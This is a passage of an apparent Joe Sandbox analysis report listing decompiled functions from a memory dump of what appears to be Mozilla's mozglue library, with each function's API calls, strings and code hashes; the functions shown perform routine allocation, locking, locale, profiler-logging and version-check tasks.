API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 469b953eab6ed83cc6e041a5181eab8a3afaca0ed3f30477dad6179d7bc58f3c
Instruction ID: 5de92ca6ec1a3bb3528a181471488d81e3635f3ef82c0096c5b789ecdd9d0278
Opcode Fuzzy Hash: 469b953eab6ed83cc6e041a5181eab8a3afaca0ed3f30477dad6179d7bc58f3c
Instruction Fuzzy Hash: A94109B1A002059FCB18CFA8DD819AF7765FF99314B240A38E815D7794EB31E916C7E1

Function 6C91B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C91B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C91B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C91B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C91B5F4
__Init_thread_footer.LIBCMT ref: 6C91B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C91B61F
std::_Facet_Register.LIBCPMT ref: 6C91B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91B655

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: d128ca150872f26c0fc902c782355261f1db8f6f61e029c544ee561d23016837
Instruction ID: 6e49d79b95cc921682ab10e170b93097ffe7272c55b2fb86f9575c280e916974
Opcode Fuzzy Hash: d128ca150872f26c0fc902c782355261f1db8f6f61e029c544ee561d23016837
Instruction Fuzzy Hash: 2431E9B1B08214CBCF10DF69C8559AEB7F5FF86324B250429D54297740DB38E80ACF91

Function 6C8B9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C907ABE), ref: 6C8B985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C907ABE), ref: 6C8B98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C8B9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C8B9918
free.MOZGLUE(?), ref: 6C8B9975

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 1bc32677853ac0929a7005eafc6cf6b355ffe16f4ee7a2c86bfa9eaa8b93876e
Instruction ID: 2b371260d06e35d6e481e3e05a0d995cbde907709ded049ce851ff0606979a65
Opcode Fuzzy Hash: 1bc32677853ac0929a7005eafc6cf6b355ffe16f4ee7a2c86bfa9eaa8b93876e
Instruction Fuzzy Hash: 9071ABB46047058FC769CF28C5C0956B7F1FF5A3247244AADD85AABBA1D731F801CB91

Function 6C8BB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C8FCC83,?,?,?,?,?,?,?,?,?,6C8FBCAE,?,?,6C8EDC2C), ref: 6C8BB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C8FCC83,?,?,?,?,?,?,?,?,?,6C8FBCAE,?,?,6C8EDC2C), ref: 6C8BB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C8FCC83,?,?,?,?,?,?,?,?,?,6C8FBCAE), ref: 6C8BB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C8FCC83,?,?,?,?,?,?,?,?,?,6C8FBCAE,?,?,6C8EDC2C), ref: 6C8BB896

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: ca0b335f122168bd142c79fcbf4791ad4c24f81f30f3c1a824c9941ab1acb12f
Instruction ID: 1715f545057f636c271203e56223b1c44f9772afa28162e51a836436bf0b340d
Opcode Fuzzy Hash: ca0b335f122168bd142c79fcbf4791ad4c24f81f30f3c1a824c9941ab1acb12f
Instruction Fuzzy Hash: F55187757046148FCB24CF19C6C4A7ABBF5FF89318B69895DE98AAB351C730E801CB80

Function 6C8E4AD0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 139stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?,80000000,?,6C8E4AB7,?,6C8A43CF,?,6C8A42D2), ref: 6C8E4B48
free.MOZGLUE(?,?,?,80000000,?,6C8E4AB7,?,6C8A43CF,?,6C8A42D2), ref: 6C8E4B7F
memcpy.VCRUNTIME140(00000000,?,?,80000000,?,6C8E4AB7,?,6C8A43CF,?,6C8A42D2), ref: 6C8E4B94
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6C8E4AB7,?,6C8A43CF,?,6C8A42D2), ref: 6C8E4BBC
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,pid:,00000004,?,?,?,6C8E4AB7,?,6C8A43CF,?,6C8A42D2), ref: 6C8E4BEE

Strings

pid:, xrefs: 6C8E4BE8

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfreestrncmp
String ID: pid:
API String ID: 1916652239-3403741246
Opcode ID: 2a16146e706b8d70d281f482bec0f882070589e669e6edc583c9ff00ebf9caa4
Instruction ID: 146fa4540c0bfd0855782c5636cd9969f787c1cefeaed6065f7c7372e26eefb6
Opcode Fuzzy Hash: 2a16146e706b8d70d281f482bec0f882070589e669e6edc583c9ff00ebf9caa4
Instruction Fuzzy Hash: B941C8717042599BCB24DEFCDD8059FBBF9AFCA224B144A38E859D7781D630D90887A1

Function 6C8F1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8F1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C8F1BE3,?,?,6C8F1D96,00000000), ref: 6C8F1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C8F1BE3,?,?,6C8F1D96,00000000), ref: 6C8F1D4C
GetCurrentThreadId.KERNEL32 ref: 6C8F1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C8F1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C8F1DDA

Part of subcall function 6C8F1EF0: GetCurrentThreadId.KERNEL32 ref: 6C8F1F03
Part of subcall function 6C8F1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C8F1DF2,00000000,00000000), ref: 6C8F1F0C
Part of subcall function 6C8F1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C8F1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C8F1DF4

Part of subcall function 6C8BCA10: malloc.MOZGLUE(?), ref: 6C8BCA26

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 8a77d9258c7d4257ba9f49e89756b20e8d6cede3aee21219aa3e2262bdd81eeb
Instruction ID: 97eeaa5d38f43f7857d72c57c89e8119976ad529b13f8c968281784d300c2911
Opcode Fuzzy Hash: 8a77d9258c7d4257ba9f49e89756b20e8d6cede3aee21219aa3e2262bdd81eeb
Instruction Fuzzy Hash: 53418AB52147049FCB24DF28C588A56BBF9FF49354F20482DE99A87B41CB35F854CBA0

Function 6C90AAB0 Relevance: 10.6, APIs: 7, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C92E220,?), ref: 6C90BC2D
ReleaseSRWLockExclusive.KERNEL32(6C92E220), ref: 6C90BC42
RtlFreeHeap.NTDLL(?,00000000,6C91E300), ref: 6C90BC82
RtlFreeUnicodeString.NTDLL(6C92E210), ref: 6C90BC91
RtlFreeUnicodeString.NTDLL(6C92E208), ref: 6C90BCA3
RtlFreeHeap.NTDLL(?,00000000,6C92E21C), ref: 6C90BCD2
free.MOZGLUE(?), ref: 6C90BCD8

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 80d905bb6d5cddb2b919a7bea52e6ed1b501bdd7a0a9d5b9a0744fc5a39c49af
Instruction ID: ba8385c58e3f32aeb7d715141553faa0c5de76bd7c449a948c276f395a871dea
Opcode Fuzzy Hash: 80d905bb6d5cddb2b919a7bea52e6ed1b501bdd7a0a9d5b9a0744fc5a39c49af
Instruction Fuzzy Hash: 9F21C9726403248BE7209F0AC880BA6B7B9AF51728F14842DE86A5BA10CB75E845CBD0

Function 6C8B38A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C92E220,?,?,?,?,6C8B3899,?), ref: 6C8B38B2
ReleaseSRWLockExclusive.KERNEL32(6C92E220,?,?,?,6C8B3899,?), ref: 6C8B38C3
free.MOZGLUE(00000000,?,?,?,6C8B3899,?), ref: 6C8B38F1
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C8B3920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C8B3899,?), ref: 6C8B392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C8B3899,?), ref: 6C8B3943
RtlFreeHeap.NTDLL(?,00000000,0000002C), ref: 6C8B396E

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: f28fe54f1bf55a90c0b5765e4f566de504b73ba95733326bdbe0468b696794e2
Instruction ID: 206b4d42d22a589ace55b673d0c10b457eaf1b583807b3ff21fb66c13de0d133
Opcode Fuzzy Hash: f28fe54f1bf55a90c0b5765e4f566de504b73ba95733326bdbe0468b696794e2
Instruction Fuzzy Hash: AE212172600724DFD720DF25C980B96B7B8EF45328F218829D95AA7B10CB34FC45CB91

Function 6C8E84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8E84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8E850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8E851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8E855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8E856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8E85AC

Part of subcall function 6C8E7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C8E85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8E767F
Part of subcall function 6C8E7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C8E85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8E7693
Part of subcall function 6C8E7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C8E85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8E76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8E85B2

Part of subcall function 6C8C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C8C5EDB
Part of subcall function 6C8C5E90: memset.VCRUNTIME140(6C907765,000000E5,55CCCCCC), ref: 6C8C5F27
Part of subcall function 6C8C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C8C5FB2

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 3b24ab01acb36411fee1f818181c8dd60e0df1916c1089ad5f51ac19a9bf72a4
Instruction ID: 794f5dcc428aac95e8319fe2806d7659a275d898871e061cd52415a19ef04a77
Opcode Fuzzy Hash: 3b24ab01acb36411fee1f818181c8dd60e0df1916c1089ad5f51ac19a9bf72a4
Instruction Fuzzy Hash: 8F2181742006019FEB24DB28C988A5AB7B5BF4930CF244C2DE59BC3B41DB35F958CB95

Function 6C8B1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C8B1699
VerSetConditionMask.NTDLL ref: 6C8B16CB
VerSetConditionMask.NTDLL ref: 6C8B16D7
VerSetConditionMask.NTDLL ref: 6C8B16DE
VerSetConditionMask.NTDLL ref: 6C8B16E5
VerSetConditionMask.NTDLL ref: 6C8B16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C8B16F9

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: fbaebc44e4c78f42cb0a0096a6ca66ec29acee32908eb9b08a879c8cb9f42425
Instruction ID: 2ebac21e9451ba4cd0f8705712ec74ae3394525a09290d89a2f2e8d752d91799
Opcode Fuzzy Hash: fbaebc44e4c78f42cb0a0096a6ca66ec29acee32908eb9b08a879c8cb9f42425
Instruction Fuzzy Hash: B521D5B07442086BEB216A648D85FFBB3BCDF86704F004928F6859B680C678DD5487A1

Function 6C8FD1D0 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8FD1EC
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C8FD1F5

Part of subcall function 6C8FAD40: moz_malloc_usable_size.MOZGLUE(?), ref: 6C8FAE20

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C8FD211
GetCurrentThreadId.KERNEL32 ref: 6C8FD217
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C8FD226
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C8FD279
free.MOZGLUE(?), ref: 6C8FD2B2

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$freemoz_malloc_usable_size
String ID:
API String ID: 3049780610-0
Opcode ID: be20246c8d02cfb9be08873b862c914b663c84d2d0de68ada134941be155cf92
Instruction ID: dcccf5bc16913cf99e74138f047aaf427788a1cc260f7d9f1ad0da93458bf7af
Opcode Fuzzy Hash: be20246c8d02cfb9be08873b862c914b663c84d2d0de68ada134941be155cf92
Instruction Fuzzy Hash: 78218271608305DFCB14DF64C488A9EB7B1FF8A364F20452EE56A87340DB34A80ACB96

Function 6C8EF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8DCBE8: GetCurrentProcess.KERNEL32(?,6C8A31A7), ref: 6C8DCBF1
Part of subcall function 6C8DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8A31A7), ref: 6C8DCBFA

Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8B4A68), ref: 6C8E945E
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C8E9470
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C8E9482
Part of subcall function 6C8E9420: __Init_thread_footer.LIBCMT ref: 6C8E949F

GetCurrentThreadId.KERNEL32 ref: 6C8EF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C8EF598), ref: 6C8EF621

Part of subcall function 6C8E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8E94EE
Part of subcall function 6C8E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C8E9508

GetCurrentThreadId.KERNEL32 ref: 6C8EF637
AcquireSRWLockExclusive.KERNEL32(6C92F4B8,?,?,00000000,?,6C8EF598), ref: 6C8EF645
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8,?,?,00000000,?,6C8EF598), ref: 6C8EF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C8EF62A

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: ac721e54d8481cf0bc67c8aa2e23bf1a14c3f91fafda6e64d61dfb9e247a2ada
Instruction ID: b5740430c3123bace950401d75040131dbb7719e8c2b29d47fe6b6335cf8cfaa
Opcode Fuzzy Hash: ac721e54d8481cf0bc67c8aa2e23bf1a14c3f91fafda6e64d61dfb9e247a2ada
Instruction Fuzzy Hash: 4811E771215604ABCB10AF18D648DD577BDFB8B76CB600825EA4687F41CB79EC25CBA0

Function 6C8B2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8DAB89: EnterCriticalSection.KERNEL32(6C92E370,?,?,?,6C8A34DE,6C92F6CC,?,?,?,?,?,?,?,6C8A3284), ref: 6C8DAB94
Part of subcall function 6C8DAB89: LeaveCriticalSection.KERNEL32(6C92E370,?,6C8A34DE,6C92F6CC,?,?,?,?,?,?,?,6C8A3284,?,?,6C8C56F6), ref: 6C8DABD1

LoadLibraryW.KERNEL32(combase.dll,6C8B1C5F), ref: 6C8B20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C8B20CD
__Init_thread_footer.LIBCMT ref: 6C8B20E1
FreeLibrary.KERNEL32 ref: 6C8B2124

Strings

combase.dll, xrefs: 6C8B20A9
CoInitializeSecurity, xrefs: 6C8B20C7

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: df36a4e9fb521cdeb543dca3f3d2d9b7f3082feccba5fcd5458c6da664d7a52b
Instruction ID: f82be3cb618cdf8f7bada54a33634d940bc0ab8bef620b4139c259481a6d5d6c
Opcode Fuzzy Hash: df36a4e9fb521cdeb543dca3f3d2d9b7f3082feccba5fcd5458c6da664d7a52b
Instruction Fuzzy Hash: 4C21AC76218209EFDF21CF54DD48DAA3FB6FB4A369F204414FA4592610C339E866CF90

Function 6C8E99A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8B4A68), ref: 6C8E945E
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C8E9470
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C8E9482
Part of subcall function 6C8E9420: __Init_thread_footer.LIBCMT ref: 6C8E949F

GetCurrentThreadId.KERNEL32 ref: 6C8E99C1
AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8E99CE
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8E99F8
GetCurrentThreadId.KERNEL32 ref: 6C8E9A05
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8E9A0D

Part of subcall function 6C8E9A60: GetCurrentThreadId.KERNEL32 ref: 6C8E9A95
Part of subcall function 6C8E9A60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8E9A9D
Part of subcall function 6C8E9A60: ?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C8E9ACC
Part of subcall function 6C8E9A60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8E9BA7
Part of subcall function 6C8E9A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C8E9BB8
Part of subcall function 6C8E9A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C8E9BC9

Part of subcall function 6C8DCBE8: GetCurrentProcess.KERNEL32(?,6C8A31A7), ref: 6C8DCBF1
Part of subcall function 6C8DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8A31A7), ref: 6C8DCBFA

Strings

[I %d/%d] profiler_stream_json_for_this_process, xrefs: 6C8E9A15

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

